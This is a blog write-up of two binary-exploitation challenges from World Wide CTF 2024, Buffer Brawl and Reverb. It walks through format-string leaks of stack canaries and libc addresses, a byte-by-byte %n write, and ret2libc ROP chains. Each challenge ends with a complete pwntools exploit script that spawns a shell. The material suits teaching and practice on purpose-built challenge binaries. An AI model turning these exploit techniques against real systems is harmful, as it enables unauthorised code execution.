12 minutes
World Wide CTF 2024 Writeups
This year I competed in World Wide CTF and it was pretty fun! I’ve been practicing ROP lately, so I did almost exclusively pwn challenges. My writeups for those challenges are below. All Python snippets use pwntools, and all GDB snippets use pwndbg.
Buffer Brawl
For this challenge, the download is a single dynamically linked binary, without
any other files included. Stack canary and PIE protections mean that we’ll need
to leak pointers and the stack cookie before any ROP is possible. Some reverse
engineering shows that no “win” functions are present, so this will likely be a
ret2libc
exploit. Our
main goals will be to leak the stack cookie and leak some libc pointers, after
that a ret2libc
attack should be trivial.
$ file buffer_brawl
buffer_brawl: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ca3d374a2d37899a2684d03c92f86a4addb524f4, for GNU/Linux 3.2.0, not stripped
$ pwn checksec buffer_brawl
[*] '/home/malcolm/wwctf/buffer_brawl/buffer_brawl'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/malcolm/wwctf/buffer_brawl'
Stripped: No
Buffer Brawl is a text-based boxing game, where you’re fighting with “the
stack”. You can jab
, hook
, or uppercut
to deal 1, 2, or 3 damage respectively.
You can slip
right or left to dodge a punch. And you can call off the fight.
After doing damage to the stack stack_check_up
is called. If the stack’s
health is at 13, it’ll let you input a finishing blow. This function has a
pretty obvious buffer overflow attack here, so this seems like where we’re going
to get our ROP chain.
void stack_check_up(void)
{
long in_FS_OFFSET;
char move [24];
long __stack_cookie;
__stack_cookie = *(long *)(in_FS_OFFSET + 0x28);
if (stack_life_points == 13) {
puts("\nThe stack got dizzy! Now it\'s your time to win!");
puts("Enter your move: ");
__isoc99_scanf("%s",move); // <<< BUFFER OVERFLOW
if (__stack_cookie == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
}
else {
if (stack_life_points < 1) {
puts("\nStack fainted! You\'re too brutal for it!");
/* WARNING: Subroutine does not return */
exit(0);
}
if (__stack_cookie == *(long *)(in_FS_OFFSET + 0x28)) {
printf("\nStack\'s life points: %d\n");
return;
}
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
We also discover that slip
has a format-string vulnerability, which should
allow us to leak data from the stack and give us an arbitrary read/write
primitive.
void slip(void)
{
long in_FS_OFFSET;
char move [40];
long __stack_cookie;
__stack_cookie = *(long *)(in_FS_OFFSET + 0x28);
puts("\nTry to slip...\nRight or left?");
read(0,move,29);
printf(move);
if (__stack_cookie == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
I’ll leak the stack via a format string and try to see what the offset is compared to GDB. We can use the code below to leak the stack and print it to the terminal:
io.sendline(b"4")
io.recvuntil(b"Right or left?\n")
io.sendline(b"%p" * 14)
stack = io.recvline(keepends=False)
stack = [
int(s, 16) for s in stack.replace(b"(nil)", b"0x0").replace(b"0x", b" ").split()
]
for i, s in enumerate(stack):
# i+1 because $ offsets start at 1
print(f"{i+1}: {p64(s)} {hex(s)}")
In the console, we get:
1: b'\x10\xc4XN\xfc\x7f\x00\x00' 0x7ffc4e58c410
2: b'\x1d\x00\x00\x00\x00\x00\x00\x00' 0x1d
3: b'!\xac\x1fK%{\x00\x00' 0x7b254b1fac21
4: b'\x99\x99\x99\x99\x99\x99\x99\x19' 0x1999999999999999
5: b'\x00\x00\x00\x00\x00\x00\x00\x00' 0x0
6: b'%p%p%p%p' 0x7025702570257025
7: b'%p%p%p%p' 0x7025702570257025
8: b'%p%p%p%p' 0x7025702570257025
9: b'%p%p\n[\x00\x00' 0x5b0a70257025
10: b'Z\x11s\xe5t[\x00\x00' 0x5b74e573115a
11: b'\x00\xd2\xd99]\xf4\xed~' 0x7eedf45d39d9d200
12: b'\xe0\x14s\xe5t[\x00\x00' 0x5b74e57314e0
13: b'G\x07s\xe5t[\x00\x00' 0x5b74e5730747
14: b'\xa0\xc4XN\xfc\x7f\x00\x00' 0x7ffc4e58c4a0
And in GDB, we get:
pwndbg> telescope
00:0000│ rsp 0x7ffc4e58c410 ◂— '%p%p%p%p%p%p%p%p%p%p%p%p%p%p\n['
... ↓ 2 skipped
03:0018│ 0x7ffc4e58c428 ◂— 0x5b0a70257025 /* '%p%p\n[' */
04:0020│ 0x7ffc4e58c430 —▸ 0x5b74e573115a ◂— 0x3a65736f6f6843 /* 'Choose:' */
05:0028│ 0x7ffc4e58c438 ◂— 0x7eedf45d39d9d200
06:0030│ 0x7ffc4e58c440 —▸ 0x5b74e57314e0 ◂— 0xfffff290fffff29c
07:0038│ 0x7ffc4e58c448 —▸ 0x5b74e5730747 (menu+215) ◂— jmp 0x5b74e57306c0
It looks like offset 6 is the first we control, offset 11 is the stack cookie
(we can tell because of that telltale ‘\x00’ it starts with), and offset 13 is
the return address into menu
. We can use the stack cookie in our ROP, and we
can use the pointer into menu
to rebase our ELF to the correct base address.
Since we know that remote is using the same binary, we can just hardcode the offset like so:
pwndbg> vmmap buffer_brawl
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
► 0x5b74e572f000 0x5b74e5730000 r--p 1000 0 /home/malcolm/wwctf/buffer_brawl/buffer_brawl
► 0x5b74e5730000 0x5b74e5731000 r-xp 1000 1000 /home/malcolm/wwctf/buffer_brawl/buffer_brawl
► 0x5b74e5731000 0x5b74e5732000 r--p 1000 2000 /home/malcolm/wwctf/buffer_brawl/buffer_brawl
► 0x5b74e5732000 0x5b74e5733000 r--p 1000 2000 /home/malcolm/wwctf/buffer_brawl/buffer_brawl
► 0x5b74e5733000 0x5b74e5734000 rw-p 1000 3000 /home/malcolm/wwctf/buffer_brawl/buffer_brawl
► 0x5b74e5734000 0x5b74e5735000 rw-p 1000 5000 /home/malcolm/wwctf/buffer_brawl/buffer_brawl
0x5b7524314000 0x5b7524335000 rw-p 21000 0 [heap]
In [1]: exe_leak = 0x5b74e5730747
In [2]: base_addr = 0x5b74e572f000
In [3]: hex(exe_leak - base_addr)
Out[3]: '0x1747'
def stack_leak(p: bytes, *a, **kw) -> bytes:
io.sendline(b"4")
io.recvuntil(b"Right or left?\n")
io.sendline(p)
return io.recvline(*a, **kw)
cookie, exe_leak = stack_leak(b"%11$p %13$p").split()
cookie = int(cookie[2:], 16)
exe_leak = int(exe_leak[2:], 16)
exe.address = exe_leak - 0x1747
We can now create pointers within our binary, which means we have arbitrary
memory read via %s
format string. We’ll use this to leak the libc version that
remote is using, since it wasn’t specified in the challenge.
def leak_got(sym: str) -> int:
addr = stack_leak(b"%7$s".ljust(8, b"_") + p64(exe.got[sym]))
addr = u64(addr[:6] + b"\x00\x00")
return addr
puts_addr = leak_got("puts")
io.info(f"{leak_got("puts")=:x}")
io.info(f"{leak_got("printf")=:x}")
io.info(f"{leak_got("read")=:x}")
io.info(f"{leak_got("exit")=:x}")
libc.address = puts_addr - libc.sym.puts
We can run this on remote to leak which version of libc they’re using, which we can profile using just a list of pointer offsets and this helpful lib-database website.
We identify that remote is using libc6_2.35-0ubuntu3.8_amd64.so
, so we
download the libc for later use in the exploit. Unfortunately, my system crashes
the program if I try to patch the libc into the binary via patchelf
, so we’ll
only use this in our solve script to locate pointer offsets.
Now that we’ve leaked the stack cookie and rebased both exe
and libc
, we can
pretty easily craft a ROP chain automatically using the lovely ROP
class
provided by pwntools.
If we uppercut 29 times then that gets us to the final blow, and we can execute our ROP chain:
for i in range(29):
io.sendlineafter(b"\n> ", b"3")
rop = ROP([exe, libc])
rop.call("system", [next(libc.search(b"/bin/sh"))])
payload = flat(
cyclic(24),
p64(cookie),
cyclic(8),
rop.chain(),
)
io.sendline(payload)
Aaand it crashes:
Program received signal SIGSEGV, Segmentation fault.
0x00007e35b525c914 in do_system (line=0x7e35b53bae43 "/bin/sh")
... snip ...
────────────────[ DISASM / x86-64 / set emulate on ]────────────────
► 0x7e35b525c914 <do_system+356> movaps xmmword ptr [rsp + 0x50], xmm0 <[0x7ffd277e42e8] not aligned to 16 bytes>
0x7e35b525c919 <do_system+361> mov r9, qword ptr [rax] R9, [environ] => 0x7ffd277e47d8 —▸ 0x7ffd277e60d7 ◂— 'PWD=/home/malcolm/wwctf/buffer_brawl'
0x7e35b525c91c <do_system+364> call posix_spawn <posix_spawn>
It helpfully lets us know that the stack isn’t aligned to 16 bytes, (the classic
movaps
issue so we
need to offset it by a word size. We can just add an extra ret
instruction to
the ROP chain and the stack will be properly aligned.
rop = ROP([exe, libc])
rop.raw(rop.ret.address) # movaps fix
rop.call("system", [next(libc.search(b"/bin/sh"))])
payload = flat(
cyclic(24),
p64(cookie),
cyclic(8),
rop.chain(),
)
io.sendline(payload)
io.success("got shell :)")
io.interactive()
And we got a shell!
[*] '/home/malcolm/wwctf/buffer_brawl/buffer_brawl'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/malcolm/wwctf/buffer_brawl'
Stripped: No
[*] '/usr/lib/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Starting local process '/home/malcolm/wwctf/buffer_brawl/buffer_brawl': pid 73517
[*] leak_got("puts")=79d9e9e35be0
[*] leak_got("printf")=79d9e9e0dbc0
[*] leak_got("read")=79d9e9ec0c10
[*] leak_got("exit")=79d9e9df4940
[*] cookie=9111c4cbf2061900
[*] exe.address=63623350f000
[*] libc.address=79d9e9db5000
[*] Loaded 9 cached gadgets for 'buffer_brawl'
[*] Loaded 113 cached gadgets for '/usr/lib/libc.so.6'
[+] got shell :)
[*] Switching to interactive mode
You threw an uppercut! -3 to the stack's life points.
The stack got dizzy! Now it's your time to win!
Enter your move:
$ pwd
/home/malcolm/wwctf/buffer_brawl
I’ve included a full solve script below. When running against remove, remember to use the downloaded libc instead of the default system one.
from pwn import *
context.terminal = ["tmux", "splitw", "-h", "-F#{pane_pid}", "-P"]
exe = context.binary = ELF("buffer_brawl")
libc = exe.libc
# libc = ELF("./libc6_2.35-0ubuntu3.8_amd64.so")
# io = connect("buffer-brawl.chal.wwctf.com", 1337)
# gdbscript = f"""
# b *slip+51
# b *stack_check_up+132
# c
# """
# io = gdb.debug(exe.path, gdbscript=gdbscript)
io = process(exe.path)
def stack_leak(p: bytes, *a, **kw) -> bytes:
io.sendline(b"4")
io.recvuntil(b"Right or left?\n")
io.sendline(p)
return io.recvline(*a, **kw)
cookie, exe_leak = stack_leak(b"%11$p %13$p").split()
cookie = int(cookie[2:], 16)
exe_leak = int(exe_leak[2:], 16)
exe.address = exe_leak - 5959
def leak_got(sym: str) -> int:
addr = stack_leak(b"%7$s".ljust(8, b"_") + p64(exe.got[sym]))
addr = u64(addr[:6] + b"\x00\x00")
return addr
puts_addr = leak_got("puts")
io.info(f"{leak_got("puts")=:x}")
io.info(f"{leak_got("printf")=:x}")
io.info(f"{leak_got("read")=:x}")
io.info(f"{leak_got("exit")=:x}")
libc.address = puts_addr - libc.sym.puts
# double check with `telescope`
io.info(f"{cookie=:x}")
# double check with `vmmap`
io.info(f"{exe.address=:x}")
io.info(f"{libc.address=:x}")
for i in range(29):
io.sendlineafter(b"\n> ", b"3")
rop = ROP([exe, libc])
rop.raw(rop.ret.address) # movaps fix
rop.call("system", [next(libc.search(b"/bin/sh"))])
payload = flat(
cyclic(24),
p64(cookie),
cyclic(8),
rop.chain(),
)
io.sendline(payload)
io.success("got shell :)")
io.interactive()
Reverb
Reverb is very generous and gives us C++ source code, a dynamically linked binary, a libc, and an interpreter.
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/malcolm/wwctf/reverb/ld-linux-x86-64.so.2, BuildID[sha1]=8fc27055e4e54b4b72e273f76a62e9f7c6d5e543, for GNU/Linux 3.2.0, not stripped
$ pwn checksec chall
[*] '/home/malcolm/wwctf/reverb/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
The first thing we do is patch the ELF to make sure we’re using the same linker and libc as remote:
$ patchelf --set-interpreter $(pwd)/ld-linux-x86-64.so.2 --set-rpath $(pwd) chall
$ ./chall
>> echo
echo
>> ^C
Nice, it still works. Now we can inspect the code:
int main(int argc, char** argv, char** envp) {
char s[384] = {0,};
while(1) {
printf(">> ");
fgets(s, 384, stdin);
if (check(s)) printf(s);
else break;
}
return 0;
}
I’ve omitted the source for check
since it’s shorter to summarize. If any %
characters are present in the string, it must have at lesat 2 digits after it that parse
to less than 58. Surprisingly, “%57$p” is actually the last value in the input
array, so they seem to be trying to prevent people from reading the stack cookie
or return address.
That doesn’t deter us, since we have 384 characters to fill with %p, so we can read at least 192 values off the stack. We should be able to leak libc and exe pointers from the stack this way. We won’t be needing 192, so let’s start with 90 words:
io.sendlineafter(b">> ", b"%10p" * 90)
stack = io.recvline(False)
stack = [
p64(int(s, 16))
for s in stack.replace(b"(nil)", b"0x0").replace(b"0x", b" ").split()
]
for i, s in enumerate(stack):
print(f"{i}: {s} {hex(u64(s))}")
0: b'\n\x00\x00\x00\x00\x00\x00\x00' 0xa
1: b'\x00\x00\x00\x00\x00\x00\x00\x00' 0x0
2: b'\xd2@\xf3\xe1\xfe\x7f\x00\x00' 0x7ffee1f340d2
3: b'\x99\x99\x99\x99\x99\x99\x99\x19' 0x1999999999999999
4: b'\x00\x00\x00\x00\x00\x00\x00\x00' 0x0
5: b'\x00\x00\x00\x00\x00\x00\x00\x00' 0x0
6: b'HE\xf3\xe1\xfe\x7f\x00\x00' 0x7ffee1f34548
7: b'8E\xf3\xe1\xfe\x7f\x00\x00' 0x7ffee1f34538
8: b'\x00\x00\x00\x00\x01\x00\x00\x00' 0x100000000
9: b'%10p%10p' 0x7030312570303125
10: b'%10p%10p' 0x7030312570303125
... snip ...
52: b'%10p%10p' 0x7030312570303125
53: b'%10p%10p' 0x7030312570303125
54: b'\n\x00\x00\x00\x00\x00\x00\x00' 0xa
55: b'\x00\x00\x00\x00\x00\x00\x00\x00' 0x0
56: b'\x00\x00\x00\x00\x00\x00\x00\x00' 0x0
57: b'\x00\x00\x00\x00\x00\x00\x00\x00' 0x0
58: b'\x00/\xe6\xc4I\xec\x90b' 0x6290ec49c4e62f00
59: b'\x01\x00\x00\x00\x00\x00\x00\x00' 0x1
60: b'\x90\x9d\xa2\xe9\xaap\x00\x00' 0x70aae9a29d90
61: b'\x00\x00\x00\x00\x00\x00\x00\x00' 0x0
62: b'z\x13@\x00\x00\x00\x00\x00' 0x40137a
pwndbg> telescope 60
00:0000│ rsp 0x7ffee1f34270 ◂— 0
01:0008│-1a8 0x7ffee1f34278 —▸ 0x7ffee1f34548 —▸ 0x7ffee1f350ec ◂— 'PWD=/home/malcolm/wwctf/reverb'
02:0010│-1a0 0x7ffee1f34280 —▸ 0x7ffee1f34538 —▸ 0x7ffee1f350cb ◂— '/home/malcolm/wwctf/reverb/chall'
03:0018│-198 0x7ffee1f34288 ◂— 0x100000000
04:0020│-190 0x7ffee1f34290 ◂— 0x7030312570303125 ('%10p%10p')
... ↓ 44 skipped
31:0188│-028 0x7ffee1f343f8 ◂— 0xa /* '\n' */
32:0190│-020 0x7ffee1f34400 ◂— 0
... ↓ 2 skipped
35:01a8│-008 0x7ffee1f34418 ◂— 0x6290ec49c4e62f00 <<< LIBC LEAK
36:01b0│ rbp 0x7ffee1f34420 ◂— 1
37:01b8│+008 0x7ffee1f34428 —▸ 0x70aae9a29d90 ◂— mov edi, eax
38:01c0│+010 0x7ffee1f34430 ◂— 0
39:01c8│+018 0x7ffee1f34438 —▸ 0x40137a (main) ◂— endbr64
3a:01d0│+020 0x7ffee1f34440 ◂— 0x100000000
3b:01d8│+028 0x7ffee1f34448 —▸ 0x7ffee1f34538 —▸ 0x7ffee1f350cb ◂— '/home/malcolm/wwctf/reverb/chall'
We discover that offset 6 contains a pointer to the stack, and offset 60
contains a return pointer to somewhere in libc. Since we have the binaries for
the libc and linker, we can just hardcode the offset here using the base from
vmmap
and rebase libc consistently. We can also use our stack address leak to
get a pointer to the return address of main, allowing us to ROP without a buffer
overflow!
pwndbg> distance 0x7ffd9553dd68 rbp-8
0x7ffd9553dd68->0x7ffd9553dc48 is -0x120 bytes (-0x24 words)
pwndbg> vmmap 0x7c215f829d90
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x7c215f800000 0x7c215f828000 r--p 28000 0 /home/malcolm/wwctf/reverb/libc.so.6
► 0x7c215f828000 0x7c215f9bd000 r-xp 195000 28000 /home/malcolm/wwctf/reverb/libc.so.6 +0x1d90
0x7c215f9bd000 0x7c215fa15000 r--p 58000 1bd000 /home/malcolm/wwctf/reverb/libc.so.6
pwndbg> distance 0x7c215f800000 0x7c215f829d90
0x7c215f800000->0x7c215f829d90 is 0x29d90 bytes (0x53b2 words)
We can now start ropping!
libc_base = u64(stack[60]) - 0x29D90
ret_addr = u64(stack[6]) - 120
libc.address = libc_base
We can use the format string vulerabiliy to do arbitrary write via the %n
parameter, and since we have infinite inputs, we can do a single byte at a time
for maximum ease.
Unfortunately, the default fmtstr_payload
function in pwntools doesn’t work
with this challenge, since every format string paramter needs to start with
a value from %10 to %57. Luckily it’s not too hard to craft our own, since we
can write byte-by-byte.
If we never write format string long enough to fill the array, then we know that
offset 57 will always have a zero in it. We can use this to set %n to any value,
since for writing 1 to 255 we can use f"%57${n}x"
, and for 0 we just omit the
printing altogether.
Afterwards, we just write a single byte from the stack to an address. From the telescope output above, the first offset pointing to our buffer is 9 (the 10th item), so let’s assume our format strings take up 3 words and put our address in the 13th offset. We can do this in a loop, writing one byte in our ROP chain at a time until we’re happy with it.
rop = ROP([exe, libc])
rop.call("system", [next(libc.search("/bin/sh"))])
chain = rop.chain()
for i in range(len(chain)):
p = b""
if chain[i] != 0:
p += f"%57${chain[i]}x".encode()
p += b"%13$hhn"
p = p.ljust(24, b"_")
p += p64(ret_addr + i)
io.sendlineafter(b">> ", p)
io.sendlineafter(b">> ", b"%s") # exit
io.interactive()
We run this and we get a SIGSEGV. A tale older than time, movaps
is crashing
our program again.
Program received signal SIGSEGV, Segmentation fault.
0x000076de35e77613 in ?? () from target:/home/malcolm/wwctf/reverb/libc.so.6
... snip ...
──────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────
► 0x76de35e77613 movaps xmmword ptr [rsp + 0x40], xmm0 <[0x7fff6758ce78] not aligned to 16 bytes>
0x76de35e77618 mov rbp, rsp RBP => 0x7fff6758ce38 ◂— 0
0x76de35e7761b mov qword ptr [rsp + 0x50], rax [0x7fff6758ce88] => 0x7fff6758ef58 ◂— 0
We add a return to the ROP chain and we’ve got a shell! Since libc and linker were patched in, the exact same exploit works on local and remote.
rop = ROP([exe, libc])
rop.raw(rop.ret.address)
rop.call("system", [next(libc.search(b"/bin/sh"))])
chain = rop.chain()
[*] Switching to interactive mode
$ pwd
/home/malcolm/wwctf/reverb
The full exploit script is included below:
from pwn import *
context.terminal = ["tmux", "splitw", "-h", "-F#{pane_pid}", "-P"]
exe = context.binary = ELF("chall")
libc = exe.libc
# io = connect("reverb.chal.wwctf.com", 1337)
#
# gdbscript = f"""
# # b *main+185
# b *main+300
# c
# """
# io = gdb.debug(exe.path + argv, gdbscript=gdbscript)
io = process(exe.path)
io.sendlineafter(b">> ", b"%10p" * 90)
stack = io.recvline(False)
stack = [
p64(int(s, 16))
for s in stack.replace(b"(nil)", b"0x0").replace(b"0x", b" ").split()
]
for i, s in enumerate(stack):
print(f"{i}: {s} {hex(u64(s))}")
libc_base = u64(stack[60]) - 0x29D90
ret_addr = u64(stack[6]) - 0x120
print(f"libc: {hex(libc_base)}")
print(f"ret (stack): {hex(ret_addr)}")
libc.address = libc_base
rop = ROP([exe, libc])
rop.raw(rop.ret.address)
rop.call("system", [next(libc.search(b"/bin/sh"))])
chain = rop.chain()
for i in range(len(chain)):
p = b""
if chain[i] != 0:
p += f"%57${chain[i]}x".encode()
p += b"%13$hhn"
p = p.ljust(24, b"_")
p += p64(ret_addr + i)
io.sendlineafter(b">> ", p)
io.sendlineafter(b">> ", b"%s") # exit
io.interactive()
2553 Words
2024-12-01 00:00 +0000